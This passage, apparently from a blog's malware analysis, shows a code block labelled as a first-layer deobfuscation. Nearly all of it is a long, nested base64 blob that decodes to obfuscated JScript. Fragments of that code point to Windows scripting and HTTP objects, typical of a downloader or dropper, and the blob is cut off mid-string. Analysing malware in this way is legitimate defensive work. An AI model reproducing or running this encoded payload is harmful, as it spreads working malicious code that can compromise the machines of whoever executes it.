below.<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n1st layer obfuscated --&gt; deobfuscated (&quot;&gt;&gt;%&quot; first removed and replaced with 'A')\r\n==================================================================================\r\ndHJ5ew0KdmFyIGxvbmdUZXh0MSA9ICJablZ1WTNScGIyNGdZbWRtZEhKbGQyRnpLQ2w3Q2dseVpYUjFjbTRnV3lKTWVUZzRWM2xDZVZwWFRuWmFSMVo1U1VSdloyRXlPVzVpYld3d1luaytQaVZ2V1hscloyTXlkRFZqUjFWblQybENjMkZZV214UGJsWjFZVEkxZG1ReU5IVmpNa1p6V2xoTk1rNURRbVJRWjI5TFRIazRPVXhVTUhSUVV6QTVURlF3WjFreU9YVmFiV3h1U1VRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbE1WREIwVUZNd09VTm5jREpaV0VsbllVYzVlbVJEUGo0bE9VbERTbmRpU0ZadVlWYzFlbU51V1hWYVNGWnFZVEpTZFdONU5YWmpiV05wVDNkd01sbFlTV2RqUnpsNVpFTStQaVU1U1VSak0wNVVXVGREYmxwb1kybENjR0p1VGpCWlYzaHpXa2RzZVVsRU1HZEphVlpvWTBoQ2ExbFlVbWhLVTBrM1EyNWFhR05wUW5sa1Z6VkNZekJHYTJKWGJIVkpSREJuV20xR2MyTXlWVGREYmxwb1kybENjMkp0ZEcxaFYzaHNTVVF3WjJSSVNqRmFWSE5MWkcxR2VVbEhlSFZoTWxwMllrZFNiR05wUGo0bE9VbElVbmxrVjFVM1EyZHdjRnBwYUhsa1Z6VkNZekJHYTJKWGJIVkpSREE1U1VoU2VXUlhWWEJsZDI5S1l6TlNhR051VWpGalJWWnpXbGhhYUdSSFZXOUxWSE5MWmxGd2NGcHBhRmhWTWs1NVlWaENNRXhyUm5sYU0xWjBXbGMxTUdONU5VOVpWekZzV2tNMVJtVkhiSHBrU0UxdlNXMVdjMXBZV21oa1IxWnJTV2xyWjFCVU1HZGtTRW94V2xOc04wTm5iR3RoV0U1b1dXMTRiRlV5Vm1wa1dFcHdaRWhyYjB0VWMwdG1VVzkyVEhvd2RGQlRNRGxNVkRCMFVGTkNkMlJYU25OaFYwMW5aRzFHZVVsRU1IUlFVekE1VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3UzBOdVdtaGphVUo2WVVkV2MySkhPV2xoYVQ0K0pUbEpSbVJVV1ROS2NHTklVWFZaTTBwc1dWaFNiRlF5U25GYVYwNHdTME5LTTJNeVRubGhXRUl3VEc1T2IxcFhlSE5KYVdzM1EyNWFhR05wUW0xaFYzaHNZek5zZW1SSFZuUmlNa3B4U1VRd1oxWXhUbXBqYld4M1pFTTFhbU50Vm1oa1IxWlFXVzF3YkZrelVXOUpiazVxWTIxc2QyUkhiSFZhZVRWdFlWZDRiR016Ykhwa1IxWjBZakpLY1ZwWFRqQkphV3MzUTI1YWFHTnBRbTlrU0ZKM1lqSktjVWxFTUdkV01VNXFZMjFzZDJSRE5XcGpiVlpvWkVkV1VGbHRjR3haTTFGdlNXMHhlbVZITVhOTmFUVTBZbGQ0YjJSSVVuZEphV3MzUTJkdlMweDVPRGxNVkRCMFVGTXdPVXhVTUdkalNFcHdaRzFHTUVsSVdtaGphVDQrSlRsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd2RGQlRNRGxNVkRCMFVGRnZTMlJ0Um5sSlIyeDFZek5TYUdKSGVIVlpWekZzU1VRd1oxWXhUbXBqYld4M1pFTTFlbGt6U25CalNGSlBXVmN4YkU5M2NESlpXRWxuWXpOU2FHTnVVakZqUXo0K0pUbEpTRTV2V2xkNGMySXlTbkZNYms1M1dsZE9jRmxYZUVkaU1uaHJXbGhLZWt0RFNucGtSMFo1WkVoV2QwbHBhMmRMZVQ0K0pXbFlSbmRwVDNkd2NHSnVUakJaVjNoeldrZHNlVWxFTUdkak1taHNZa2Q0ZGxsdGIzVlNXR2gzV1ZjMWExSlhOVEpoV0VwMlltMHhiR0p1VWxSa1NFcHdZbTFrZWt0SGJIVmpNMUpvWWtkNGEyRllTWEJKUTNOblNXeDRZMGxxYzB0aFYxbHZTVmRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhYlRseldrZFdlVkpZYUhCak0xSjZTMGRzZFdNelVtaGlSM2hyWVZoSmNFdFljMmRKUjJ4MVl6TlNhR0pIZUd0aFdFbG5VRk5DZW1GSFZuTmlSemxwWVdrMVJtVklRbWhpYlZKR1ltNWFjR050T1hWaVYxWjFaRVpPTUdOdGJIVmFNMDF2U1dsV01GcFhNWGRLVTBsd1NVTnpaMGxzZUdOSmFuUTVRMjVhYUdOcFFucGpSM2h3WkVkV2VVbEVNR2RKYm5kcFQzZHdNbGxZU1dkak1sSnlZMGRHTUdGRFBqNGxPVWxIYkhWak0xSm9Za2Q0YTJGWVNXZExlVDQrSldsa00wNXZZekpTY2tscWMwdGtiVVo1U1VoT2EyRXlXbkJpUjFWblVGTkNlbHBIZEhkWldGSnZTVU56WjBsc2VHTkphVDQrSlhKSlIwNXZZMmxuZUUxVVNYQkpRM05uV1RKb2VVdEVSWGxOVTJ0blMzbENhbUZJU1c5TlZFVXlTMU0rUGlWeVNVZE9iMk5wWjNoTlJGRndTVU56WjFreWFIbExSRVY0VFZOclowdDVRbXBoU0VsdlRWUkZkMHRUUGo0bGNrbEhUbTlqYVdjd1RtbHJaMHQ1UW1waFNFbHZUVlErUGlWNFMxTStQaVZ5U1VkT2IyTnBaM2hOYWo0K0pYQkpRM05uV1RKb2VVdEVSWGROVTJzM1EyNWFhR05wUW5waVIxWnNZME0rUGlVNVNVUlZkMDFFUGo0bE4waytQaVZ3TWxsWVNXZGpiVlo2WTBjNWRXTXlWWE5KUjA1MFdrTjNaMk5IUm5sWlZ6QnpTVWM1ZFZwWE9YVlpNbFUzUTJkd01sbFlTV2RoVnpWdFNVUXdaMGxwU1RkRGJscG9ZMmxDTVdNeVNucGpTRXBzV1ZkU2NHSnRZMmRRVXo0K0pXbEphbk5MWkcxR2VVbElUakJaV0Vvd1drZEdNRnBUUGo0bE9VbERTV2xQZDI5TFRIazRPVXhVTUhSUVV6QTVURlF3WjFreU9XdGFVMEo2WkVkR2VXUkRQajRsT1V4VU1IUlFVekE1VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVVXOUxZVmMxZW1SSFJuVlpNbFZ2UzFSelMwTnVaRzloVjNoc1MwaFNlV1JYVlhCbGQyOUtaRWhLTldWM2IwcERWMngxWXpOU2FHSkhkMjlMVkhOTFEyZHJTbU50Vm5walJ6bDFZekpWWjFCVFBqNGxhVWxxYzB0SlF6NCtKV2RKUXo0K0pXZEpRMEo1V2xoT2QySXlOWHBhVXo0K0pUbEpTRUoyWXpOUlowdERTbkJqZVRGNVdsZEdhMlZUU1hOSmFVbHdUM2R2U2tOWFRuUmFRejQrSlRsSlNFcHNZek5DZG1KdVRteE1iazUzWWtkc01FdElUbmRpUjJ3d1dsaEpjRTkzYjBwRFdFNHpZVmhTYW1GRGFHcGlWMUppVFVZd2NHVjNiMmRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBKcVdWaE9iRWxEU210aFdFNXFZakkxZFZwWFRqQkphbTlMUTFGclNrTlRQajRsWjFZeFRtcGpiV3gzWkVNMWVHUlhiREJMUTJzM1EyZHJTa05SYTJkSlIwcDVXbGRHY2s5M2IwcERVV3hxV1ZoT2JFbERTbmxhVjBwMllqTlJhVTluYjBwRFVXdEtTVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhORzlKYVZacVlqSXhlbU5IVm1wS1V6NCtKWFpaZVVKNllVaFdNRnBIT1ROaWFUNCtKWFpqYVQ0K0pYWmtRejQrSlhkSlF6bHRTV2wzWjAxRGQyZGtTRW94V2xOck4wTm5hMHBEVVd0blNVZEtlVnBYUm5KUGQyOUtRMUZzYWxsWVRteEpRMHA2WVVoV01GcEhPVE5pYVVrMlEyZHJTa05SYTJkSlNFNXZXbGQ0YzJJeVNuRk1ia294WW1sbmFVcFhUblppV0U1M1dsZE5iRWxET1dwSlNFNXZaRmhTYTJJelpIVkpRemw2U1VNNU1FbEVQajRsWjB3eVdXbE1RejQrSlhkTVEwSXdZMjVXYkV0VWMwdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERhVDQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlIwNW9ZekpWWjBsdFZqUlpNbFpxWkZoU2JFbHFiMHRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RqUjBaNVdWY3daMUJUUW1waVYxSmlUVll3TjBObmEwcERVV3RuU1VkV01sbFhkMjlqUjBaNVdWY3djRTkzYjBwRFVXdEtTVU5DYVdOdFZtaGhlbk5MUTFGclNsa3lSbnBhVXo0K0pXbGhWelY2WkVkR2MySkRNWHBhUjNOcFQyZHZTa05SYTBwSlEwSndZbTVPTUZsWGVITmpNbEp5UzBOck4wTm5hMHBEVVd0blNVZEtlVnBYUm5KUGQyOUtRMUZzYWxsWVRteEpRMHB1V2xoUmRHTkhSbnBqZVVrMlEyZHJTa05SYTJkSlNFSm9Zek5PYm1OdFJtbFpiVlo1UzBkT2RGcEdjM2hZVTNkblNXMU9kRnBIVFhWYVdHaHNTV2wzWjFreU1XdFhla3BrUzFSelMwTlJhMHBEVXo0K0pXZFpia3BzV1Zkek4wTm5hMHBEVjA1b1l6SlZaMGx0Wkd4a1F6RjNXVmhPZWt4WE9XMWFiWGh3WW0xVmFVOW5iMHBEVVd0S1NVTkNkMWxZVG5wYU0wcG9XVzFLYkdOcGFHcGlWMUppVFRFd2MwbERTbXBpVjFKcVRHMVdORnBUU1hOSlEwcHdXbE5KY0U5M2IwcERVV3RLU1VOQ2QxbFlUbnBhTTBwb1dXMUtiR05wWjJsaWJsWnpZa05KYzBsRFNtcGlWMUpxVEcxV05GcFRTWE5KUTBwcVlVaEtkbUpYVldsTFZITkxRMUZyU2tOVFBqNGxaMk5IUm5wak1tUjVXVmRLYVZwWVNXOUpiVFV4WWtkM2FVeERQajRsYVZreU1XdFplVFZzWlVkVmFVeERQajRsYVdKWE9UWmhWM2h6V1ZOSmNFOTNiMHBEVVd0S1NVTkNkMWxZVG5wYU0wcG9XVzFLYkdOcVNXOVpNakZyVjNwR1pFeERQajRsYVZreU1XdFplVFZzWlVkVmFVeERRbXBpVjFKaVRXd3djRTkzYjBwRFVXdEtTVU5DYVdOdFZtaGhlbk5MUTFGclNsa3lSbnBhVXo0K0pXbGtXRUpyV1ZoU2JFbHFiMHREVVd0S1ExTStQaVZuWTBkR2VWbFhNR2RRVTBKNVdsaE9kMkl5TlhwYVV6VjZaRmRLZW1SSVNXOWpiVlo2WTBjNWRXTXlWWFZoVnpWcldsaG9VRnBwWjJsbVEwbHdTVU56WjAxVGF6ZERaMnRLUTFGclowbEhPWFZhVnpsMVdUSlZkVmt5ZUhaak1sVnZTMVJ6UzBOUmEwcERVejQrSldkaU1qVnNZakkxYWxwVFBqNGxPVWxIV25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxWWpOQ2JHSnNVbXhsU0ZKSFlWZDRiRXRIYkhWak0xSm9Za2Q0YTJGWVNXZExlVUp3WW01T01GbFhlSE5pYlVaMFdsTStQaVZ6VFdsM1oxcHRSbk5qTWxWd1QzZHZTa05SYTBwSlEwSjJZbTFXZG1KdFRteE1ibVI1WVZoU2JFdElRbWhqYlVaMFMxUnpTME5SYTBwRFV6NCtKV2RpTWpWc1lqSTFhbHBUTldwaVJ6bDZXbE5uY0U5M2IwcERVV3RLU1VOQ2VtRkhWbk5pUnpscFlXazFlV1JYTkc5SmJtUjZXVE5LY0dOSVVYVmFXR2hzU1VNNGRsRnBRbU5KYVVsblMzbENjR0p1VGpCWlYzaHpXa2RzZVVsRGMyZGhWelY2WkVkR2MySkhOV2hpVjFWblMzaytQaVZwV0VOSmFVdFVjMHREVVd0S1ExTStQaVZuVmpGT2FtTnRiSGRrUXpWNFpGZHNNRXREYXpkRFoydEtRMWRPYUdNeVZXZEpibFoxWVZjMWVtUkhSbk5pUTBrMlEyZHJTa05SYTJkSlNGWjFZVmMxZW1SSFJuTmlRMmR3VDNkdlNrTlJhMHBKUTBKcFkyMVdhR0Y2YzB0RFVXdEtXVEpHZWxwVFBqNGxhV1JZUGo0bGRHSnBNV3hsUjFacVNXcHZTME5SYTBwRFV6NCtKV2RhUnprelltMTRkbGxYVVc5Wk1qRnJWM3BHWkV4SFRuUmFSbk41V0ZOck4wTm5hMHBEVVd0blNVZEtlVnBYUm5KUGQyOUtRMUZzYWxsWVRteEpRMHBwWTIxc2RWcDVNWE5pTW1OcFQyZHZTa05SYTBwSlEwSXhZMGQ0ZGxsWFVXOWhWelY2WkVkR2MySkhVbkJqYVQ0K0pYSkpRMG96WXpKb2MySXlaSHBZUm5kcFNVTnpaMWt5TVd0WGVrWmtURU0rUGlWcFpFZEdjbHBUTVhOaU1tTnBTMVJ6UzBOUmEwcERVejQrSldkWmJrcHNXVmR6TjBObmEwcERWMDVvWXpKVlowbHRVblprTWpSMFlta3hiR1ZIVm1wSmFtOUxRMUZyU2tOVFBqNGxaMk15YkRCYVYxSjJaREkxYzJJeVJtdGFXRWx2V1RJeGExZDZSbVJNUjA1MFdrWnplVmhUYXpkRFoydEtRMUZyWjBsSFNubGFWMFp5VDNkdlNrTlJiR3BaV0U1c1NVTStQaVZwV20xc2MxcFhNV2hpYlVadVdsaEphVTluYjBwRFVXdEtTVU5DZWxwWVNqSmhWMDVzWXpOU2FHTnVVbXhqYVdocVlsZFNZazFXTUhOSlEwcHRZbE14ZDJKSVZtNWhWelIxV2xob2JFbHBkMmRoVnpWdFlqTktkRmxZVW5CaU1qUnZTMU5yTjBObmEwcERVV3RuU1VkS2VWcFhSbkpQZDI5S1ExRnNhbGxZVG14SlF6NCtKV2xqYlZKM1NXcHZTME5SYTBwRFV6NCtKV2RqTWxaNVpHMXNhbHBZVGpCWldFb3dXbGhKYjFreU1XdFhla1prVEVNK1BpVnBZMjFSZEdOSGVERmFNbXgxVEcxV05GcFRTWE5KUjJ4MVdtMDVlV0pYUmpCaFZ6bDFTME5yY0U5M2IwcERVV3RLU1VOQ2FXTnRWbWhoZW5OTFExRnJTbGt5Um5wYVV6NCtKV2RKYlhSc1pWZDRkbG95Wkd4amFVazJRMmRyU2tOUmEyZEpSM1JzWlZkNGRsb3laR3hqYms0d1dWaEtNRnBZU1c5Wk1qRnJWM3BHWkV4RFBqNGxhV0V5ZDNSalIzZ3hXakpzZFV4dFZqUmFVMGx6U1Vkc2RWcHRPWGxpVjBZd1lWYzVkVXREYTNOSlJENCtKWEJQZDI5S1ExRnJTa2xEUW1samJWWm9ZWHB6UzBOUmEwcFpNa1o2V2xNK1BpVm5TVzA1YlZwdGVIQmliVlYwWVRKV05XSkhPVzVhTWxaNVNXcHZTME5SYTBwRFV6NCtKV2RoTWxZMVlrYzVibG95Vm5sak0xSm9ZMjVTYkdOcGFHcGlWMUppVFZZd2MwbERTbkppUXpGM1lraFdibUZYTkhWYVdHaHNTV2wzWjJGWE5XMWlNMHAwV1ZoU2NHSXlORzlMVTNkblRWTnJOME5uYTBwRFVXdG5TVWRLZVZwWFJuSlBkMjlLUTFGc2FsbFlUbXhKUXo0K0pXbFpia3AyWkROT2JFeFhlSFphTTAxcFQyZHZTa05SYTBwSlEwSjNZak5PTUV0RFNuQmplVEZ6WWpKa2VrbHBkMmRhVnpVeFlsZGFhRnBwYUhCaWJrNHdXVmQ0YzFwSGJIbEpRM05uU1c1a2VtRkhlSFphTTAxcFMxTnJOME5uYTBwRFVXdG5TVWRLZVZwWFJuSlBkMjlLUTFGc2FsbFlUbXhKUXo0K0pXbFpNakZyVEZoT2IxcFhlSE5KYW05TFExRnJTa05UUGo0bFoyTkhSbmxaVnpCblVGTkNhbUpYVW1KTlZqQTNRMmRyU2tOUmEyZEpTRUoyWXpOUmIwbHRiSHBNVjA1MFdrTXhlbUZIVm5OaVEwbHpXVEl4YTJNeWFHeGlSM2R2WTBkR2VWbFhNSEJMVkhOTFExRnJTa05UUGo0bFoxbHVTbXhaVjNNM1EyZHJTa05YVG1oak1sVm5TVU5LYmxwWVVYUmpTRXAyV1RKV2VtTXlWbnBKYW05TFExRnJTa05UUGo0bFoyTkhPWHBrUTJkcFlWaE5kR05JU25aWk1sWjZZekpXZWtscGQyZGFWelV4WWxoQ2VXSXlUbXhqTTAxdlMxTnJOME5uYTBwRFVXdG5TVWRLZVZwWFJuSlBkMjlLUTFGc2FsbFlUbXhKUXo0K0pXbGFSMng2V1ZkS2MxcFRNVEZaVjAxcFQyZHZTa05SYTBwSlEwSnJZVmhPYUZsdGVHeFZNbFpxWkZoS2NHUklhMjlMVkhOTFExRnJTa05UUGo0bFoyUllRbXRaV0ZKc1l6TlNhR1JJVm5wTFEwcFdVVlZOY2xKSGJIcFpWMHB6V2xkUmNrdEdTbXhaYlRsMlpFTjBVMXBZUmpGaFdFcHNXa05yYVV0VWMwdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERaMnRLUTFkT2FHTXlWV2RKUTBwcVlVZFdhbUY1TVd4aVIyeHVZVmRLYzFwVFNUWkRaMnRLUTFGclowbEhiRzFMUjFwd1lrZFdlbVZZVGpCYVZ6RjJXVzF2ZFZwdGJITmFWVlkwWVZoT01HTjVhR3BpVjFKaVRWWXdjRXRZYzB0RFVXdEtRMUZzTVdOSFVtaGtSMVo2WkVkR01HUllUVzlKYTJ4NlN6QldjMkZYWkhCWmJYaHNTV2xyTjBObmEwcERVV3RuU1VneGJHSklUbXhsZDI5S1ExRnJTa05ZVm5kYVIwWXdXbGhPTUZsWVVqRmplV2RwVkcwNU1Fc3dWbk5oVjJSd1dXMTRiRWxwYXpkRFoydEtRMUZyWjBsSU1FdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERaMnRLUTFkT2FHTXlWV2RKUTBwdFlqTkthbHBUTVd4aVIyeHVZVmRLYzFwVFNUWkRaMnRLUTFGclowbEhiRzFMUm1SVVdUTktjR05JVVhWUldFcHVaRmN4YkdKdVVucE1helZvWWxkV2EweHJWalJoV0U0d1kzbG5hVnBYZUd4a2JVWXdXbGRSYVV0VFBqNGxPVkJUUWpCamJsWnNTMWh6UzBOUmEwcERVV3h3V21sb2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJWcDJZa2RTYkdOclZqUmhXRTR3WTNsb2FtSlhVbUpOVmpCd1MxaHpTME5SYTBwRFVXdEtZekpvYkdKSGVIWlpiVzkxWTI1V2RVdERTV3haTWpsMFl6TkNiRmw1VldkTU1rMW5TV2srUGlWeVNVZE9kRnBHYzNsWVUzZG5UVU4zWjJSSVNqRmFVMnMzUTJkclNrTlJhMHBEV0ZaM1drZEdNRnBZVGpCWldGSXhZM2xuYVZVeFZrUlJNRlpVVlhsSmNFOTNiMHBEVVd0S1ExZ3hiR0pJVG14bGQyOUtRMUZyU2tOUmJERmpSMUpvWkVkV2VtUkhSakJrV0UxdlNXdE9kbUpZUW5aaWJWWjFaRU4wVG1GWVRucGhWelZ1U1dsck4wTm5hMHBEVVd0S1psRnZTa05SYTBwSlEwSTVRMmRyU2tOUmEyZEpSMVp6WXpKV04wTm5hMHBEVVd0S1pGaENhMWxZVW14ak0xSm9aRWhXZWt0RFNrWmlSMVl5V1ZoU2NHSXlOSEpWYlZaNFpGZHNlVnBYVVdsTFZITkxRMUZyU2tOVFBqNGxaMlpSYjBwRFVXdEtTVU5DYVdOdFZtaGhlbk5MUTFGclNsa3lSbnBhVXo0K0pXZEpiVlp6V2xoYWFHUkhWV2xQWjI5S1ExRnJTa2xEUW5CYWFXaFlWVEpPZVdGWVFqQk1hMFo1V2pOV2RGcFhOVEJqZVRWUFdWY3hiRnBETlVabFIyeDZaRWhOYjBsdFZuTmFXRnBvWkVkV2EwbHBhMmRRVkRCbldtMUdjMk15VlhCbGQyOUtRMUZyU2tOWVVubGxXSE5MUTFGclNrTlJhMmRKUnpsMVdsYzVkVmt5VlhWWk1uaDJZekpWYjB0VWMwdERVV3RLUTFGclowbEhPWFZhVnpsMVdUSlZaMUJUUW5Wa1YzaHpUM2R2U2tOUmEwcERVejQrSldkV01VNXFZMjFzZDJSRE5VUmpiVlpvWkVkV1VGbHRjR3haTTFGdlNXeE9iMXBYZUhOTWEwWjNZMGQ0Y0ZreVJqQmhWemwxU1dscmRWVXlhR3hpUjNoR1pVZFdhbVJZVW14TFEwb3pZekpPZVdGWVFqQk1iVlkwV2xOSmMwbERTV2RNZVRsRFNVWjNhVWxwUGo0bGNrbEdaRlJaTTBwd1kwaFJkVlV5VG5saFdFSXdVbTVXYzJKRk5XaGlWMVZuUzNrK1BpVnBXRU5KWjB3eVZuTmFXRnBvWkVkV2EwbHBkMmRKYVVselNVTktlV1JYTldoamVVbHpTVVJGY0U5M2IwcERVV3RLUTFNK1BpVm5aRmhDYTFsWVVteGpNMUpvWkVoV2VrdERTa1JpUjJ4c1ltNVJjbEpYZUd4a2JVWXdXbGRSYVV0VWMwdERVV3RLUTFGc09Wa3lSakJaTW1kdlltMDBjR1YzYjBwRFVXdEtRMWd3UzBOUmEwcERVV3hZVlRKT2VXRllRakJNYmtZeFlWaFJiMHRVYzB0RFVXdEtRMU0rUGlWblpsRnZTa05SYTBwSlEwSnNZa2hPYkdWM2IwcERVV3RLU1VNK1BpVktTVU5DTVdOSFVtaGtSMVo2WkVkR01HUllUVzlKYTA1ellWZFdkV1JEZEVaaVIxWXlXVmhTYkZwRFNYQlBkMjlLUTFGclNrbERRamxEWjJ0S1ExRnJaMGxIU25sYVYwWnlUM2R2U2tOUmJHcFpXRTVzU1VNK1BpVnBZVmRaZEZwWGVHeGtiVVl3V2xOSk5rTm5hMHBEVVd0blNVZHNiVXRHWkZSWk0wcHdZMGhSZFZGWVNtNWtWekZzWW01U2VreHJOV2hpVjFaclRHdFdOR0ZZVGpCamVXZHBXbGQ0YkdSdFJqQmFWMUZwUzFNK1BpVTVVRk5DYlZsWGVIcGFVMnczUTJkclNrTlJhMHBKUTBJeFkwZFNhR1JIVm5wa1IwWXdaRmhOYjBsclRuTmhWMVoxWkVOMFQySXpVWEpTVjNoc1pHMUdNRnBYVVdsTFZITkxRMUZyU2tOVFBqNGxaMlpSYjBwRFVXdEtTVU5DYkdKSVRteGxkMjlLUTFGclNrbERQajRsU2tsRFFqRmpSMUpvWkVkV2VtUkhSakJrV0UxdlNXdE9jMkZYVm5Wa1EzUkdZa2RXTWxsWVVteGFRMGx3VDNkdlNrTlJhMHBKUTBJNVEyZHJTa05SYTJkSlIwcDVXbGRHY2s5M2IwcERVV3hxV1ZoT2JFbERQajRsYVdFeWJITmlRekYzWTIwNWFscFlUbnBKYW05TFExRnJTa05UUGo0bFoxcFlhSEJrU0VKNVlqSk9iR016VFc5Wk1qRnJWM3BHWkV0VWMwdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERaMnRLUTFkT2FHTXlWV2RKUTBwNllrZFdiR05EU1RaRFoydEtRMUZyWjBsSVFtaGpiVVowU1VRd1oxa3lNV3RYZWtaa1QzZHZTa05SYTBwSlEwSjZZa2RXYkdORFBqNGxPVWxIVmpKWlYzZHZZMGRHZVZsWE1IQlBkMjluU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTkNhV050Vm1oaGVuTkxRMUZzT1VObmEwcERaMnc1V1RKR01Ga3laMjlhV0Vsd1pUTXdTME5XWkZSWk0wcHdZMGhSZFdNeWVHeGFXRDQrSlc5ak1uaHNXbGcrUGlWd1QzZHdPVU5uY0cxa1Z6VnFaRWRzZG1KcFFuQmliazR3V1ZkNGMyTXlVbkpMUTJ3M1EyZHNNR051YkRkRFoydEtaRzFHZVVsSVRtdGhNMVo1WWtNK1BpVTVTVWhDZG1NelVXOUpiVEYyWldreGVscEhjMmxNUXo0K0pXbEphV3MzUTJkclNtUnRSbmxKUnpscFlXMW9NR1JJUW10aU0yUjFZa2M1YUZwRFBqNGxPVWxHWkZSWk0wcHdZMGhSZFZFelNteFpXRkpzVkRKS2NWcFhUakJMUTBwMFl6Tm9kR0pFU1hWbFJ6RnpZVWhTTUdORFNYQlBkMjlLUTFjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjJZMGRXZFV0RFNtNWFXRkZwVEVOQ2VscEhkREZqYlhkelNVZGFhR0pJVG14TFZITkxRMUZzZGxsdGNHOWtTRkozV2tjNU0ySnRlSFpaVjFGMVl6SldNRlZ0Vm5oa1YxWjZaRVZvYkZsWFVteGphV2RwV1RKR2FtRkhWWFJaTWpsMVpFaEtkbUpFYjJsTVF6NCtKV2xpVjBZMFRGZEdibHBVTUhkSmFXczNRMmRyU21JeVNuRmhTRkl3WTBkU2RtUXlOWE5pTWtaclRHNU9iR0p0VVc5TFZITkxRMmRyU21GWFdXOWFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFiV0ZYZUd4U1dHaHdZek5TZWt0SGJIVmpNMUpvWWtkNGEyRllTV2RMZVQ0K0pXbGtNMDV2WXpKU2NreHVjSEJqUTBsd1MxaHpTME5SYTBwYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWExcFhlR3hrUjFaSFlWZDRiRXRIYkhWak0xSm9Za2Q0YTJGWVNXZExlVDQrSldsa00wNXZZekpTY2t4dWNIQmpRMGx3VDNkdlNrTllNRXREVVd0blEyZHJTbUZYV1dkTFJ6bHBZVzFvTUdSSVFtdGlNMlIxWWtjNWFGcEROWHBrUjBZd1pGaE5aMUJVTUdkTmFqNCtKWGRMV0hOTFExRnJaMGxJVW5sbFdITkxRMUZyWjBsRFFqSlpXRWxuU1VjNWFXRnVUakJqYlZab1lsZFNkbVF5TlhOaU1rWnJTVVF3WjFZeFRtcGpiV3gzWkVNMVJHTnRWbWhrUjFaUVdXMXdiRmt6VVc5SmJVWnJZakpTYVV4dVRqQmpiVlpvWWxOSmNFOTNiMHBEVXo0K0pXZEpSemxwWVc1T01HTnRWbWhpVjFKMlpESTFjMkl5Um10TWJGSTFZMGRWWjFCVFBqNGxlRTk1UGo0bFMwTlJhMmRKUTBKMldXMXdlbVJJU214WlZ6RnJZak5rZFdKSE9XaGFRelZRWTBkV2RVdERhemREWjJ0S1NVTStQaVZuWWpKS2NXTXpVbmxhVjBaMFdrYzVNMkp0ZUhaWlYxRjFWak5LY0dSSFZXOWlNa3B4WVVoU01HTkhVblprTWpWellqSkdhMHh1U214ak0wSjJZbTVPYkZGdE9XdGxVMnMzUTJkclNrbERQajRsWjJJeVNuRmpNMUo1V2xkR2RGcEhPVE5pYlhoMldWZFJkVlV5UmpKYVZsSjJVbTFzYzFwVGFIQmliazR3V1ZkNGMxcEhiSGxKUTNOblNXNWtlbUZJVG10aGVUVTJZVmcrUGlWcFMxUnpTME5SYTJkSlEwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUXpWcVlrYzVlbHBUWjNCUGQyOUtRMU0rUGlWblNVYzVhV0Z1VGpCamJWWm9ZbGRTZG1ReU5YTmlNa1pyU1VRd1oySnVWbk5pUkhOTFExRnJaMGxJTVdwWldGSnFZVU5vYkdWcGJEZERaMnRLUTFGdlNrTlRQajRsWjJaUmIwcERXREJMUTFGc2NGcHBhRzFoVjNoc1l6TnNlbVJIVm5SaU1rcHhURzFhY0dKSFZrWmxSMng2WkVoTmIyRlhOWHBrUjBaellrZFNjR05wUGo0bGNrbERTak5qTW1oNldrZHpkV1Z0YkhkSmFXdHdaWGR2U2tOUmEzWk1NMVoxWlcxc2QwbElVbTlhVTBKdFlWZDRiRWsrUGlWdlNrTlJiRlppYkhCd1kwTm9jR0p1VGpCWlYzaHpXa2RzZVVsRGMyZEpibVI2WVVoT2EyRjVOVFpoV0Q0K0pXbE1RMEo2V2tkMGQxbFlVbTlMVkhOTFExRnJTbVJZUW10WldGSnNZek5TYUdSSVZucExRMHBVVWtWemNsTlhOWHBrUjBaellrZFdhMGxwYXpkRFoydEtabEZ2U21aWFRtaGtSMDV2UzBkV2VXTnBiRGRtVVhBNVEyZHdiV1JYTldwa1IyeDJZbWxDY0dKdVRqQlpWM2h6UzBOc04wTnVXbWhqYVVKelltMTBkbGx0YnpkRGJscG9ZMmxDYldGWGVHeGliVVowV2xSelMyUnRSbmxKUjFwMllrZFNiR050TldoaVYxVTNRMjVhYUdOcFFtMWhWM2hzWVZkT2RtSnFjMHRrYlVaNVNVZGFkbUpIVW14amJXeHFZakkwTjBObmNERmpTRTR3V1ZoS01FdERhemREWjNCdFlqTkpiMlJ0Um5sSlIxSjVZVk0rUGlVNVNVYzFiR1I1UWtaaWJsWjBXbGhLYUdSSE9YbExSMXB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBJU25Ca2JWWjZTMVJ6WjBsWFVubGhVelZvWkVWV2RWcERaM0JQZVVKclkyMXJkV0pYT1RKYVZUVnNaVWhSYjB0VGJEZERibHBvWTJsQ2EyTnRiREphVXo0K0pUbEpSMUo1WVZNMWNHUkhWblJMUTJzM1EyMXNiVWxEYUd0amJXd3lXbE0xY0dNelNteFpWMUkxU1VRd09VbElVbmxrVjFWd1pYZHdjRnBwUGo0bGIxcElTbkJrYlZWMVdtNUtiRnBZVG5kWlYwNXNTVVEwWjAxRFBqNGxjR1YzY0hCYWFUNCtKVzlhU0Vwd1pHMVZkVnBJU25Ca2JWWXdaVmhDYkVsRU1EbEpSRVZuUzFoelMwTllVbmxsV0hOTFExRnNiV0ZYZUd4ak0yeDZaRWRXZEdJeVNuRk1iVTUyWTBoc1IyRlhlR3hMUm1SVVdUT